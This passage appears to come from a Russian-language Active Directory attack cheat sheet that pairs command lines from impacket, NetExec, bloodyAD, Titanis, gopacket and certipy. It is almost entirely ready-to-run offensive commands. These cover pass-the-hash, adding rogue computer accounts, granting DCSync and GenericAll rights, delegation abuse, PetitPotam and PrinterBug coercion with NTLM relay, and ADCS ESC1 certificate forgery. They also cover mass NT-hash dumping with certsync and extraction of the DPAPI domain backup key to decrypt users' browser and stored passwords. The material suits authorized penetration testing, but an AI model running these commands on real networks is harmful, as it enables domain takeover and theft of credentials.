rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"
# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo
# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
--filter "(objectClass=group)" --attr sAMAccountName,description,member
# Titanis
Sam enumgroups 192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123
# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group
lookupsid.py DOMAIN/jdoe:[email protected]
netexec smb 192.168.1.10 -u jdoe -p Password123 --rid-brute
enum4linux-ng -R 192.168.1.10 -u jdoe -p Password123
Lsa lookupsid 192.168.1.10 -UserName jdoe -Password Password123
S-1-5-21-1234567890-1234567890-1234567890-500
Lsa lookupname 192.168.1.10 -UserName jdoe -Password Password123 Administrator jdoe
lookupsid DOMAIN/jdoe:[email protected]
lookupsid -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
lookupsid DOMAIN/@192.168.1.10
[↑ Назад к оглавлению](#index)
---
### Перечисление RPC-эндпоинтов```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10
# Titanis
Epm lsep 192.168.1.10
# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10
wmiquery.py -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]
wmiquery.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-query "SELECT * FROM Win32_Process" DOMAIN/[email protected]
netexec smb 192.168.1.10 -u jdoe -p Password123 --wmi "SELECT * FROM Win32_Process"
netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
--wmi "SELECT * FROM Win32_Process"
Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
"SELECT * FROM Win32_Process"
Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
-OutputFields Caption,ProcessId,ParentProcessId "SELECT * FROM Win32_Process"
wmiquery -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]
wmiquery -query "SELECT * FROM Win32_Process"
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Назад к индексу](#index)
---
### Вызов метода WMI```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"
# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
Win32_Process Create "calc.exe"
reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags"
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion
reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags
Reg get 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SYSTEM/CurrentControlSet/Control/Lsa LsaCfgFlags
reg query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion DOMAIN/jdoe:[email protected]
reg query -keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags DOMAIN/jdoe:[email protected]
reg query -keyName HKLM\SOFTWARE -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
reg.py DOMAIN/jdoe:[email protected] add
-keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd "TestData"
Reg set 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKCU/Software/Test sz:TestValue=TestData
reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData DOMAIN/jdoe:[email protected]
reg delete -keyName HKCU\Software\Test -v TestValue DOMAIN/jdoe:[email protected]
reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Назад к индексу](#index)
---
### Дескриптор безопасности ключа реестра```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"
# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"
services.py DOMAIN/jdoe:[email protected] list
netexec smb 192.168.1.10 -u jdoe -p Password123 --services
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"
Scm query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
services.py DOMAIN/jdoe:[email protected] start -name Spooler services.py DOMAIN/jdoe:[email protected] stop -name Spooler
Scm start 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler
Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe"
Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
services DOMAIN/jdoe:[email protected] list
services -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] list
services DOMAIN/jdoe:[email protected] status -name Spooler
services DOMAIN/jdoe:[email protected] start -name Spooler services DOMAIN/jdoe:[email protected] stop -name Spooler
[↑ Назад к оглавлению](#index)
---
### Управление привилегиями LSA```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
-c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
-c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"
# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment
# Titanis
# ⚠️ Three requirements:
# 1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
# 2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
# 3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
-UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
-BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
-BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
-BySid S-1-5-21-...-1001 0x20 -PreferSmb
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "lsaenumsid" rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumprivs"
enum4linux-ng -P 192.168.1.10 -u jdoe -p Password123
Lsa enumaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 # requires admin Lsa enumprivaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -Privilege SeDebugPrivilege Lsa getprivs 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getrights 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe
[↑ Назад к индексу](#index)
---
## 6. Active Directory / LDAP
### Перечисление пользователей и компьютеров AD```bash
# impacket
GetADUsers.py -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers
# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem
# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo
# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"
# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"
# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"
# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
# - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
# and returns no records regardless of -SearchBase or -FollowReferrals
# - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
# - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
# Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals
# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
netexec ldap 192.168.1.1 -u jdoe -p Password123 --bloodhound --collection All
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search
--filter "(objectClass=trustedDomain)" --attr name,trustDirection,trustType,flatName
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath,versionNumber -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=trustedDomain)"
-OutputFields name,trustDirection,trustType,trustAttributes,flatName -FollowReferrals
Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1
-Password Password123 "(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath -FollowReferrals
ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Policies,CN=System,DC=domain,DC=local" "(objectClass=groupPolicyContainer)"
displayName gPCFileSysPath
[↑ Назад к индексу](#index)
---
### Поиск конфигураций делегирования```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation
# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
--filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl
# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained
# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
"(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals
# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
"(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals
# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
"(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals
# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
addcomputer.py -method LDAPS -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add computer EVILPC$ Password123!
netexec smb 192.168.1.1 -u jdoe -p Password123 -M add-computer -o NAME=EVILPC$ PASSWORD=Password123
Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'
Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
-NewPassword Password123! -Ssl
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'
addcomputer -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]
addcomputer -method LDAP -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
[↑ Назад к оглавлению](#index)
---
### Добавить учетную запись пользователя```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)
# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!
# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
add user newuser Password123!
# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10
# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!
rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 set object TARGET$
msDS-AllowedToActOnBehalfOfOtherIdentity -v ''
rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
rbcd -delegate-to TARGET$ -action read
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
[↑ Back to Index](#index)
---
### Злоупотребление DACL
> **Статус Titanis:** Нет возможности записи ACE. `bloodyAD` — предпочтительный вариант без impacket. `dacledit.py` / `owneredit.py` — резервные варианты на основе impacket.```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe
# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe
# bloodyAD — change owner
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe
# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe
# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
-principal jdoe -target-dn "DC=domain,DC=local" \
DOMAIN/admin:[email protected]
# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
-principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
DOMAIN/admin:[email protected]
# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
-target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
DOMAIN/admin:[email protected]
# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
-dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
-principal jdoe -target-dn "DC=domain,DC=local" \
-dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
-principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
-dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
-target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
-dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
targetuser@DOMAIN NewPass123
net.py DOMAIN/admin:[email protected] user -enable targetuser net.py DOMAIN/admin:[email protected] user -disable targetuser
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
add uac targetuser -f DONT_REQ_PREAUTH
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
remove uac targetuser -f ACCOUNTDISABLE
Ldap moduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
targetuser userAccountControl+=4194304
net DOMAIN/admin:[email protected] user -enable targetuser net DOMAIN/admin:[email protected] user -disable targetuser
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] user -enable targetuser
[↑ Назад к оглавлению](#index)
---
## 7. Принуждение аутентификации
> Используйте этап принуждения вместе с `ntlmrelayx` или Responder для этапа ретрансляции. Titanis `credcoerce` поддерживает только MS-EFSR.```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
-UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile
# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
-UserName jdoe -UserDomain DOMAIN -Password Password123 \
-Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
Efs.DuplicateEncryptionInfoFile
# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>
# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam
# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10
# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://192.168.1.1 --delegate-access --escalate-user jdoe
CredCoerce 192.168.1.10 \\share
-UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile
[↑ Назад к оглавлению](#index)
---
## 8. Сертификаты
> **Статус gopacket:** Инструментов ADCS нет. Для всех операций с сертификатами используйте certipy, Titanis `Cert` или impacket.
### Создание самоподписанных PFX```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
# for Shadow Credentials use certipy shadow or impacket's pyWhisker instead
# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx
# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
-subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123
# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -vulnerable -stdout
netexec ldap 192.168.1.1 -u jdoe -p Password123 -M adcs
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local"
"(objectClass=pKICertificateTemplate)" displayName msPKI-Certificate-Name-Flag
[↑ Назад к оглавлению](#index)
---
### ADCS ESC1 — Регистрация и восстановление NT-хэша```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout
# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
-ca CA-NAME -template VulnerableTemplate \
-upn [email protected] \
-target ca.domain.local -out admin
# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
-ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx
# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
-ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx
# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL
# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
"kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt
# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
-NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics
Методы, которые обеспечивают эквивалентное покрытие учётных данных по сравнению с дампом NTDS, но полностью обходят стандартные механизмы (DRSUAPI, VSS, доступ к файлу NTDS). Полезны, когда DCSync заблокирован, VSS отслеживается или доступ уровня DA недоступен, но существуют доверенные пути ADCS или DPAPI.
Сбрасывает NT-хэши для каждого пользователя домена без DRSUAPI, VSS или доступа к файлу NTDS. Требует прав администратора CA (или экспортированного сертификата CA + закрытого ключа) и работающего PKINIT. Процесс: перечисление пользователей из LDAP → дамп сертификата/ключа CA → создание сертификата для каждого пользователя → UnPAC the hash через PKINIT для каждого. Выдаёт вывод в формате secretsdump. На практике не медленнее DCSync.```bash
certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1
certsync -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-u Administrator -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1
export KRB5CCNAME=admin.ccache
certsync -k -no-pass -u Administrator -d DOMAIN.LOCAL
-dc-ip 192.168.1.1 -ns 192.168.1.1
certsync -ca-pfx ca.pfx -u jdoe -p Password123
-d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1
certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -timeout 2 -jitter 1 -randomize
-ldap-filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -outputfile domain_hashes
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt> "whoami"
Smb2Client ls \dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt>
[↑ Назад к оглавлению](#index)
---
### Ключ резервного копирования домена DPAPI — массовое дешифрование учётных данных
> Ключ резервного копирования домена DPAPI — это доменный секрет, хранящийся на DC, который расшифровывает главный ключ DPAPI каждого пользователя — а значит, и каждый DPAPI-защищённый блоб в домене: пароли Chrome/Edge/Firefox, Windows Credential Manager, сертификаты, ключи Wi-Fi, учётные записи SCCM NAA, учётные данные запланированных задач и многое другое. Для его извлечения требуются права DA, но после получения ключ остаётся действительным навсегда, если только его явно не ротировать. Он обеспечивает широту охвата учётных данных, сопоставимую с NTDS, для секретов, хранящихся в DPAPI-блобах, и часто оказывается ценнее для горизонтального перемещения, поскольку выдаёт пароли в открытом виде, а не хэши.```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory
# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi
# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt
# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1 --pvk domain_backup.pvk
# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1 --pvk domain_backup.pvk
# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1 --pvk domain_backup.pvk
# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1 --pvk domain_backup.pvk
# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
-t 192.168.1.1
# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
-H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk
# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
